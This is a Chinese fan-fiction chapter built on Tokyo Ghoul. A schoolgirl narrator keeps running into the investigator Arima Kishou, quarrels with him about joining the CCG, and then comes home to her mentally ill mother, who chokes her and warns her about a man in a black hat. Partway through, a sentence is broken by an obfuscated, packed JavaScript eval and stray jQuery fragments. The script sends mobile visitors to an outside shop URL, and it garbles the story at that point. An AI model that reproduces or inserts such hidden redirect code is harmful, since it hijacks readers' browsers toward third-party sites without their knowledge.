有马贵将是一个矛盾的人，我花了很长时间才看清这一点。
起初我只是觉得困惑。那些偶然发生得太频繁了，图书馆附近的街道、与学校相隔一条街的公园长椅、每天放学后会去的咖啡店，他出现在这些地方的概率高得不像对我避之不及。
我有时能碰见他，有时不能。碰见的时候，他总是一个人行色匆匆，有时又只是倚在某个不起眼的角落，目光投向远处，像一株长在阴影里的树。
每当看到我，他原本流畅的步伐会出现一个极其短暂的凝滞，很快又恢复正常，逐渐变成无数背影中的一个。
我见过流浪猫，冬天的时候，它们会蹲在暖气管道上方把自己缩成小小的一团，耳朵贴着地面，捕捉地下传来的细微震动。它们明明在期待着一只手，一点食物，一个可以让它们熬过今夜的理由。可当我真的走过去，它们又会竖起全身的毛，弓起背，喉咙里发出呜呜的警告，眼睛瞪得又大又圆。
有马贵将就是那只猫。
如果他铁了心要躲我，大可以接一个区外的任务，这对他来说轻而易举。CCG的势力像蛛网一样遍布日本的每一个街角，搜查官的身份意味着他可以去任何地方，把这段莫名其妙的纠缠彻底封存。
他从不等我，又像怕我找不到他。
于是他只能接受，沉默地接过温热的咖啡，默许我将热呼呼的栗子塞进他大衣口袋；在我提醒他加衣时，下意识拢一下本就单薄的衣襟。
我能感觉到他观察的目光。在我低头写字时，在我望着远处发呆时，在我将暖手宝不由分说塞进他冰冷的手心时。目光里审视依旧，困惑未减，但逐渐掺杂了一丝别的——一种缓慢的、不解的探究。
他在观察“喜欢”这种情感如何在我身上具象成持之以恒的温暖和不含索求的给予。他或许在思考，究竟是一种怎样的力量才能够穿透他筑起的高墙，无视他笨拙的回避，固执地存在着。
东京的春日以缓慢的速度渗透进空气里。白天渐长，风中的凛冽被一种温吞的潮意取代，吹在脸上不再像刀刮，更像湿润的拂拭。我沉溺在一种奇异的安稳氛围里，我们维持着心照不宣的“偶然”。有马出现在我生活轨迹的延长线上，像一道沉默的、移动的坐标，沾染着逐渐升起的暖意。我见到他时，他或倚或站，目光常投向虚无的远处，侧脸线条在逐渐柔和的春光里。
我遵循着那条无形的规则：不过分靠近，不追问缘由，只是像对待一个恰好路过的、不太熟悉的朋友，递上一点微不足道的关心。一杯咖啡，一包还烫手的栗子，一句关于天气的寻常提醒。
他接受的姿态越来越习惯，不再有最初全身紧绷的抗拒，只是垂下眼睫，喉结轻滚，从鼻腔里发出一个几不可闻的、算是应答的短促气音。
这种习惯本身，就像冰封的河面下悄然涌动的水流，让我感到奢侈的满足。我甚至开始觉得，我们或许可以就这样持续下去，像两条永不相交的平行线，隔着一段安全的距离分享同一片时空的寂静。
暮色四合的傍晚，我在图书馆待到闭馆铃响，抱着几本厚重的文献走出来。街灯刚刚亮起，投下昏黄的光晕。空气里有植物萌发和新翻泥土的气息。
我很容易看见了那辆车——一辆黑色的、款式低调的轿车，停在图书馆侧方平时少有车辆经过的小路旁，几乎融进渐浓的暮色里。
暮色流淌在身上，我在驾驶座旁的车窗前停下，玻璃上映出我身后摇曳的树影。我屈起食指，用指节在深色的车窗上，不轻不重地敲了两下。
“叩、叩。”
声音在寂静的暮色里异常清晰。
车内毫无动静，仿佛真的只是一辆空车。几秒钟后，车窗毫无征兆地降下了一小半。
熟悉的轮廓出现在逐渐扩大的缝隙里。有马贵将依旧没有看我，目光平视着前方空无一人的街道，下颌线绷得有些紧。车内没有开灯，仪表盘幽蓝的光映亮了他抿直的唇线和握住方向盘的手。
“有马君，好巧噢。”我笑着说道。
他的睫毛似乎颤动了一下，仍旧没有转头，只是从喉咙里极低地“嗯”了一声，算是回应。
我抱着书，微微弯腰，让视线能与他偏转过来的余光接触。“那个……时间有点晚了，这条路挺安静的。”我顿了顿，仿佛只是提出一个再自然不过的请求，“可以麻烦你送我一段吗？到前面的地铁站就好。”
说完，我安静地等待着。目光落在他握着方向盘的手上。他没有动，手背上细微的筋络似乎更清晰了些。
最终，那紧绷的下颌线几不可察地松动了一丝，有马贵将朝着副驾驶座的方向，偏了一下头。
“上来吧。”
心口悬着的石头悄然落地，我绕到副驾驶一侧拉开车门。车内温暖的气息扑面而来，混合着皮革和属于他的清冷味道。我坐进去，将厚重的书本抱在膝头。
“谢谢。”我系好安全带，小声说。
他依旧没有回应，在我坐稳的瞬间，重新升起了驾驶座旁的车窗。密闭的空间瞬间将暮色与晚风隔绝在外，世界被收拢进狭小温暖的方寸之地。车灯亮起，切开前方渐浓的夜色。
暖风烘得人有些昏沉，方才敲开车窗的冲动逐渐沉淀，取而代之的是一种想要靠近的渴望，我不想让沉默填满这段短暂的同路。
“今天图书馆靠窗的位置终于没有奇怪的人了。”我抱着膝头的书，侧过身，语气轻快地分享今天的见闻，“前阵子总有个胖胖的大叔在，不光睡觉还要大声打鼾，管理员提醒好几次都没用，今天保安过来把他请走了。”
“啊，对了，”我继续说着，提起寻常的校园琐事，“放学的时候班导老师找我谈话，问我对未来升学有什么想法，想上什么大学，想读什么专业之类的……”
我放慢语速，目光落在他被路灯流光偶尔掠过的侧脸上。
“我说，我想去‘喰种关系学’。有马君，你觉得怎么样？”
话音落下的瞬间，有马贵将的眉头明显蹙了一下，他的嘴唇抿得更紧，视线依旧固定在挡风玻璃外流淌的霓虹上。
“不好。”
预料之中的否定，但真的听到时，心头还是像被细针轻轻扎了一下。我抿了抿唇，很快调整表情，换上更轻松的语气：“那赫包研究呢，或者Rc细胞分析之类的，这些应该很实用吧？新闻里的报道说研究人员一直都挺匮乏的，CCG的招募公告常年挂着，待遇开得还挺高的？”
这一次他的拒绝来得更快。
“不好。”
两记小小的冰雹，继续敲在我上扬的情绪上。
一股闷气涌上心头，我终于忍不住了，脸颊微微鼓起。
“为什么不管我说什么，你都说不好？” 我转过头，更直接地看着他线条冷硬的侧脸，“研究喰种、研究他们和人类的关系，这些不都是很有意义、也很重要的领域吗？”
他似乎没料到我会这样直接地追问，握着方向盘的手明显地收紧了一下。
“没有为什么。”他的视线依旧锁在前方的道路，侧脸线条在流动的光影中显得格外冷峻，“这些都不适合你。”
那种熟悉的、被他不由分说推开的无力感又涌了上来。我垂下眼，手指无意识地抠着怀里的书脊，声音低了下去：“可是……我只是想了解更多，想找到自己真正想做的事。难道连了解都不可以吗？”
红灯的倒计时数字无声跳动，斑斓的霓虹灯光淌进车内，映亮我低垂的睫毛和紧紧咬住的下唇。
他的沉默在蔓延，比直接的否定更让人难受，像一层无形的膜，将我所有的尝试都隔绝在外。
过了许久，他终于偏过头看了我一眼，眼底清晰地映出我此刻执拗的模样。
“那些都是搜查官培训学校，以及相关机构内部设立的专业。你难道打算进入CCG工作么？”
我愣住了。
脸颊上鼓起的、略带着赌气意味的弧度瞬间塌了下去，尴尬和小小心思被戳破的慌乱像潮水一样涌上来，从头到脚淹没了我。
我的手指无意识地攥紧了膝头的书。
“那，那个……多巧啊，有马君也在那里上过学吗？”我的声音已经开始发飘，像一艘在风浪中失去了方向的小船，“其实我觉得我适应能力挺强的，任何重要的领域不都伴随着挑战吗？而且，就算我不能像你一样站在前线，但我也可以做研究，做分析，做支持性的工作——CCG的研究设备是全日本最完善的……”
“不行。”他的声音陡然转冷，带着不容置疑的严厉，“不要对喰种产生兴趣，更不要对CCG感到好奇。”
我被他的斩钉截铁噎住，一股闷气堵在胸口。为什么他总是这样？为什么他总能这样轻易地、武断地为我画下界限？
“那对你呢？对你也不能产生兴趣吗？”我紧盯着他，问道，“有马君，你也是CCG的一部分，不是吗？”
车子猛地轻微一晃，随即被他稳稳控住。他侧过头，长时间地看向我。那眼神很深，像漆黑的寒潭，底下翻涌着类似于焦躁的东西。
“所以从今天开始，不要再对我感兴趣了。”
我的心口像是被什么东西攥紧了，又酸又胀。车窗外的景色在倒退，离家越来越近。那种被他全盘否定、推至千里之外的感觉，混合着长久以来小心翼翼靠近却总触不到实处的委屈，在封闭的车厢里发酵、膨胀。
“这里不适合你。”他的声音恢复了平静，比任何时刻都显得疏离，“长大以后离开东京，去一个更安全、远离这些事的地方，普通地生活。”
车子缓缓停在家附近的街口。引擎低鸣，路灯苍白的光透过车窗，将我们分隔在明暗两侧。
普通地生活？
什么是普通的生活？是继续被关在一个安排好的、与世隔绝的玻璃罩里吗？
那我这些日子的坚持又算什么？
愤怒终于冲垮了理智的堤防，我猛地解开安全带，抱起书，拉开车门。夜风灌入，吹冷了脸上最后一点强撑的表情。
我跳下车，隔着敞开的车门，对着车内那个依然挺直，仿佛与整个世界都隔着一层玻璃的身影，用颤抖的声音喊道：
“你凭什么替我决定这些！谁能管的住自己的心，你管得到我吗？你又不是我男朋友！”
话音砸碎在夜晚的寂静里，尖锐的回音让我自己都愣住了，脸颊瞬间烧了起来。巨大的羞耻和更汹涌的难过席卷而来，我狠狠咬住下唇，再也不看车内一眼，头也不回地跑向家的方向。
有马贵将根本不理解我，他只是简单的把我想进入CCG的理由理解为我想更方便的粘着他——可根本就不是那样的。
我闷头跑到家门口，始终能感觉到后背落着一道沉静的视线，像被沉甸甸的月光压着。但今晚，此刻！至少现在我不想理他。我粗暴地翻找着书包，钥匙串发出哗啦啦的脆响，在过分安静的街道上显得格外刺耳。
钥匙终于被捏在汗湿的掌心，我将其插进锁孔。就在拧动的刹那，我的动作僵住了。
街道空旷，只有几盏孤零零的路灯晕开昏暗的光圈。我下意识抬头，望向二楼母亲卧室的窗户，那里依旧一片漆黑。
可是……
我能听到从里面传来的脚步声，家里分明是有人在活动。
我的手僵在那里，指尖悬在门把手上迟迟没有拧动，身后，停在街边的黑色轿车持续不断的发出低沉嗡鸣，它还没走。
我的呼吸急促起来，理智在疯狂尖叫，我希望有人能来帮帮我，但如果此刻转身，如果投向身后那片由他守护的地方，那么我和这个摇摇欲坠的家之间，最后一根脆弱的丝线会不会就此崩断？
妈妈还在里面，无论里面等着我的是什么。那个曾经会在我做噩梦时轻轻哼歌、会笨拙地为我扎辫子的女人，她的一部分一定还在那里，在等着我回去。我不能把她一个人丢在漫长的黑暗里，就像童年时她从未丢下过我一样。
僵持仿佛有一个世纪那么久。就在我几乎要被黑暗和寂静吞噬，心脏狂跳得快要冲出喉咙时——
身后的汽车引擎声戛然而止，我听到了开门的声音。
彻底的寂静轰然降临，最后一道安全绳也断了。有马贵将那么聪明，他一定是发现了什么异样。我苦笑着想，他来之不易的关心似乎总出现的那么不合时宜，如果他在学校、图书馆、在任何寻常的地方突然追上来，他甚至不需要说任何话，我就已经丢盔弃甲，把所有刚才喊出来的、没喊出来的、想说而不敢说的，统统倒出来。
但此时此刻我没得选择，即使里面是深渊我也必须跳进去，因为那是我仅有的归处。
在他试图接近我的瞬间，我扭头恶狠狠地瞪他一眼，凶巴巴的表情果然让他立刻止住了脚步，我猛地拧开钥匙，推门闪身而入，反手重重将门关上。
黑暗瞬间包裹了我。
熟悉的玄关气味，淡淡的木头、灰尘和昨日插花的残余香气，似乎并无异样。我背靠着冰凉的门板急促的喘息着，努力睁大眼睛适应黑暗。视觉失灵，其他感官便尖锐起来。
有声音。
轻微的、窸窸窣窣的声响，从房子深处的厨房方向传来。我的血液几乎要冻住。手摸向墙上的开关。
“啪。”
灯光瞬间充满玄关，驱散了近处的黑暗，却让通往客厅和厨房的走廊尽头显得更加幽深莫测。那窸窣声，在开灯的瞬间似乎停顿了一秒。
“妈妈……？”我试探着，声音干涩。
无人应答。
我脱下鞋子，赤脚踩在微凉的地板上，悄无声息地朝厨房挪去。越靠近，那声音越清晰，像潮水有节奏的拍打。
厨房的门虚掩着，里面没有开灯。昏暗的光线从客厅窗户透入，勉强勾勒出水槽和料理台的轮廓。一个身影背对着我，站在水槽前。
是母亲。
她的头发松松挽着，正低头全神贯注地忙碌。那种持续的、黏腻的摩擦声，正是从她手部传来的。
“妈妈？”我惊喜的叫了一声，伸手摸向厨房门口的开关，“你怎么不开灯？”
“回来了。”母亲的声音传来，语调平稳，甚至算得上温和，与她曾经正常的时候并无二致。
灯光再次亮起，照亮了整个厨房。一切看起来井然有序，灶台干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580500|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
净，碗碟摆放整齐。母亲站在水槽边，面前放着一个沥水篮，里面有几个红艳艳的苹果。
银色的刀锋紧贴着果皮，旋转着推下连绵不断的红色果皮条。削下来的皮整齐地堆叠在水槽的一角，已经积了不小的一堆。
我松了口气，走近两步，“你出去过吗？哪里来的这么多苹果？”
“芳村叔叔给的，他今天来给我送药，顺便还给你带了一些水果。”母亲依旧没有回头，目光紧紧追随着刀尖， “苹果要多吃，对身体好。他听售货员讲这个品种很甜，你一会儿尝尝。”
她的语气、用词，都再正常不过，甚至记得关心我。可正是这种“正常”，在深夜独自一人、不开灯、持续不断地削着过量苹果的衬托下，还是诡异的让人心底发毛。
我的视线不由自主地落在她手上。她的动作娴熟，每一次下刀的角度力度都异常精准。水槽里堆积的果皮此刻看起来有些发黑，边缘开始微微卷曲、干瘪。
“妈妈，”我小心翼翼地又靠近一点，试图看清她的侧脸，“你……没事吧？是不是又睡不着了？”
这时，她的动作忽然极其短暂地停顿了一下，刀尖在苹果光滑的表面上划过一道极浅的白痕。
“我能有什么事。”她终于微微侧过头，对我露出一个微笑，眼神似乎也看向了我。但目光的焦点却是涣散，仿佛穿透了我，落在我身后的虚空上。
“我就是觉得这些皮看着不太舒服。”她轻声说，转回头，继续摆弄手中的苹果，声音低得像自言自语，“得弄得干净点，都弄干净就好了。”
刀锋稳健地推进，又一个苹果变得光洁。盘子里已经摆了十多个削好的苹果，空气里的甜香浓得发腻，混合着果皮开始氧化变质的微酸，隐隐令人作呕。
母亲走过来，拉着我的手将我带到餐桌前，将用叉子叉起一小块果肉送到了我的嘴边，“吃点吧，真晞。”
她的指尖还沾着湿润的果渍，我看着她的眼睛，那里有一种我渴望已久的、专注的温柔。我想让她像曾经一样爱我，阔别已久的爱可以让我吞下任何东西。
我张嘴，用力咬了下去。
我想让她爱我。
果肉清脆，汁水丰盈。吞咽时喉头依旧一阵阵地发紧，我强迫自己把整块都吃下去，慢慢地嚼着。母亲看着我，脸上露出满足的笑意，继续拿起下一个。
我就这样一口一口，机械地进食，甜味在口腔里蔓延，始终无法抵达心底。我甚至生出一种自虐般的快意——看，我可以忍受，我可以吞下这一切，包括这不正常的平静，包括对未来、对CCG、对有马贵将那些无处安放的思绪，也包括母亲眼中死寂的温柔。
盘子里的苹果被我吃掉很多，母亲递来第六个。
“好吃吗？”
“嗯。”
“好吃就好。”她轻声说，手里的刀继续旋转。“给你爸爸也留几个，他回来吃，他最喜欢吃苹果了。”
我咀嚼的动作一顿。
喉咙里的果肉突然变得难以下咽，像一团浸透了糖浆的棉絮，堵在食道中间。
父亲最后一次削苹果给我是几年前的事，他削皮的技术不好，总是削得很厚，果肉被带下来一大片，最后剩下的苹果比原来的小了一圈。但他削得很认真，低着头，抿着嘴，刀锋一点一点地推进，削完了还要把果核挖出来，切成小块，插好牙签，递给我。
妈妈会笑他削皮技术差，他也会笑，对我说“看，妈妈总是很嫌弃爸爸”。
我很久没有听到这种对话了。
我已经很久没有听到他的声音了。
疲惫感忽然像潮水般涌上来，身体上的，心脏里的，对一切无法掌控之事的深深厌倦，一切都在消耗着我。
我感到累极了。为所有说不通的话，为所有达不到的岸，为这个仿佛永远在修补却始终漏风的家。
我吐出嘴里的棉絮，将果核丢进垃圾桶里。
“妈妈，”我平静的说道，“爸爸已经去世很久了。”
时间瞬间凝固了。
母亲削皮的动作猛然顿住。刀尖深深嵌进苹果的果肉里，汁液缓缓渗出，沿着银亮的刀锋流到她骤然僵硬的手上。
她缓慢地、一格一格地转过头来看我。温和平静的面具像脆弱的石膏一样片片剥落，瞳孔在灯光下急剧收缩，里面有什么东西碎了，又迅速被另一种狂暴的、混乱的东西填满。
“你……胡说……”她的嘴唇开始颤抖，声音从齿缝里挤出来，尖细而扭曲，“他马上就回来……苹果……苹果要给他……”
下一秒，她像一头被刺伤的野兽般扑了过来，冰凉的手指死死掐住了我的脖子，力道大得让我瞬间窒息，眼前发黑，头皮被撕扯的剧痛传来。
但我没有挣扎，喉咙被压迫着，我甚至微微仰起头，让她的手更方便用力。疼痛和窒息感如此真实，奇异地让我感到解脱。
透过模糊的泪水，我盯着她近在咫尺的扭曲的脸。从几乎无法张合的嘴唇里挤出破碎的气音，问出了那个也许早该问的问题——
“妈妈，爸爸……到底……是怎么死的？”
这像一句突兀的咒语。
母亲疯狂的动作骤然停止，掐着我脖子的手像被烫到一样猛地松开。空气重新涌入我的肺部，像决堤的洪水般不顾一切地冲进来。她踉跄着后退一步，撞在水槽边缘，鲜艳的果皮被打翻，撒了一地。
她瞪着我，胸脯剧烈起伏，脸上的暴怒和疯狂又像潮水般退去，露出底下苍白如纸的脆弱和深不见底的恐惧。她看着自己刚刚行凶的双手，又看着我脖子上迅速浮现的红色指痕和被扯乱的头发，痛苦终于击垮了她。
“啊……啊……”喉咙里发出不成调的呜咽，眼泪毫无预兆地汹涌而出，她再次变回了那个支离破碎的普通女人。
她猛地扑上来，用颤抖的双臂紧紧地抱住我，把脸埋在我肩头，哭声压抑而悲痛欲绝。“对不起……对不起……真晞，妈妈不是故意的……我控制不住……”
我任由她抱着，脖子上火辣辣地疼，心里早已只剩冰凉的麻木。
我知道母亲控制不住，她的精神链条已经断掉了，清醒的时刻会越来越少，最终她会完全活在自己的世界里。但我也是她的至亲，我也是她的家人。为什么我就必须懂事，必须理解，必须在被她掐住脖子的时候想着“这不是她的错”、吞下所有的委屈和恐惧？
谁来理解我呢。
我该怎么样才能救救她呢？
她哭得上气不接下气，像一条被石头阻断的溪流，流一段，停一下，酝酿够了情绪再接着流。在我耳边断断续续地、用极度恐惧的气声说：“记住……你一定要记住……如果以后……看到一身黑色，戴着黑色帽子的人…… 帽檐压得很低……看不清脸……”
她的手臂收紧，勒得我生疼，声音抖得不成样子。
“不要看他的眼睛……不要问任何话……头也不回地逃跑！快跑！听到没有！快跑！”
她反复念叨着“快跑”，仿佛那是烙在她灵魂里的最后一句警告。然后，她的力气仿佛随着这句警告一起耗尽，身体软软地滑下去。